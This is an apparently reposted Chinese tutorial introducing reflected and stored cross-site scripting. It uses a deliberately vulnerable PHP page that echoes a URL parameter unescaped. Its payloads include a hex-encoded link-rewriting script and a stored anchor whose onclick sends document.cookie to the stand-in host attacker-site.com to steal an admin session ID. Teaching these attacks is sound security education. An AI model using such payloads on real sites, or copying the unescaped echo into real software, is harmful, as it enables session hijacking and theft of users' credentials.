xss攻擊入門


xss表示Cross Site Scripting(跨站腳本攻擊),它與SQL注入攻擊類似,SQL注入攻擊中以SQL語句作為用戶輸入,從而達到查詢/修改/刪除數據的目的,而在xss攻擊中,通過插入惡意腳本,實現對用戶游覽器的控制。

xss攻擊可以分成兩種類型:

  1. 非持久型攻擊
  2. 持久型攻擊

下面我們通過具體例子,了解兩種類型xss攻擊。

 

1.非持久型xss攻擊

顧名思義,非持久型xss攻擊是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改后的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執行,從而達到攻擊目的。

假設有以下index.php頁面:

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";
?>

該頁面顯示兩行信息:

  • 從URI獲取 'name' 參數,並在頁面顯示
  • 顯示跳轉到一條URL的鏈接

這時,當攻擊者給出以下URL鏈接:

index.php?name=guest<script>alert('attacked')</script>

當用戶點擊該鏈接時,將產生以下html代碼,帶'attacked'的告警提示框彈出:

Welcome guest
<script>alert('attacked')</script>
<br>
<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

 

除了插入alert代碼,攻擊者還可以通過以下URL實現修改鏈接的目的:

復制代碼
index.php?name=
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
復制代碼

當用戶點擊以上攻擊者提供的URL時,index.php頁面被植入腳本,頁面源碼如下:

復制代碼
Welcome 
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
<br>
<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>
復制代碼

用戶再點擊 "Click to Download" 時,將跳轉至攻擊者提供的鏈接。

 

對於用於攻擊的URL,攻擊者一般不會直接使用以上可讀形式,而是將其轉換成ASCII碼,以下URL同樣用於實現鏈接地址變更:

復制代碼
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
復制代碼

 

2.持久型xss攻擊

持久型xss攻擊會把攻擊者的數據存儲在服務器端,攻擊行為將伴隨着攻擊數據一直存在。下面來看一個利用持久型xss攻擊獲取session id的實例。

 

session背景知識

我們知道HTTP是一個無狀態維持的協議,所有請求/應答都是獨立的,其間不保存狀態信息。但有些場景下我們需要維護狀態信息,例如用戶登錄完web應用后,再一定時間內,用戶再進行登錄,應不需要再輸入用戶名/密碼進行鑒權。

這時我們用cookie和session解決狀態維護問題,當用戶首次登入時,服務器為該用戶創建一個 session ID,同時向游覽器傳送一個 cookie,cookie保存會話連接中用到的數據,session ID作為會話標識,游覽器后續的請求均基於該session ID。

 

攻擊者可以提供一個攻擊鏈接,當用戶點擊該鏈接時,向攻擊者自己的服務器發送一條保存有用戶session ID的信息,這樣就可以竊取到用戶的session ID,得到用戶的執行權限。

 

現有以下login.php,其根據 user_name 在數據中查找相應的 pass_word,然后將用戶提供的 password 與查數據庫所得的 pass_word 進行比較,如果驗證成功則創建對應於 user_name 的 session。

View Code

 

另有以下home.php,其根據登入的用戶是 admin 還是其他用戶,顯示不同內容,對於admin,其列出所有用戶,對於其他用戶,提供包含輸入框的form,可在數據庫中插入新的用戶名信息。

View Code

 

注意以上場景中,對 admin 和其他用戶進行了不同的權限設置,admin可以看到所有用戶列表,下面我們來看如何獲取 admin 的session ID,從而使得其他用戶也能獲得 admin 的權限。

 

首先,攻擊者以一個普通用戶登錄進來,然后在輸入框中提交以下數據:

<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a>

 

攻擊者提交了條帶<a>標簽的數據,該條數據將保存在數據庫中,而當 admin 用戶登入時,包含 "bangerlee" 的用戶列表將顯示,如果 admin 用戶點擊 "bangerlee" 時,在 "attacker-site.com" 所在的服務器上,攻擊者就可以竊取到 admin 的session-id:

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

有了該session-id,攻擊者在會話有效期內即可獲得 admin 用戶的權限,並且由於攻擊數據已添加入數據庫,只要攻擊數據未被刪除,那么攻擊還有可能生效,是持久性的。

 

當然,不是只有持久型xss攻擊才能竊取session ID、用戶的cookie信息,用非持久型xss也可以,只要引導用戶點擊某鏈接,將 document.cookie 信息傳到指定服務器即可,以上僅作為說明持久型xss攻擊的舉例。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM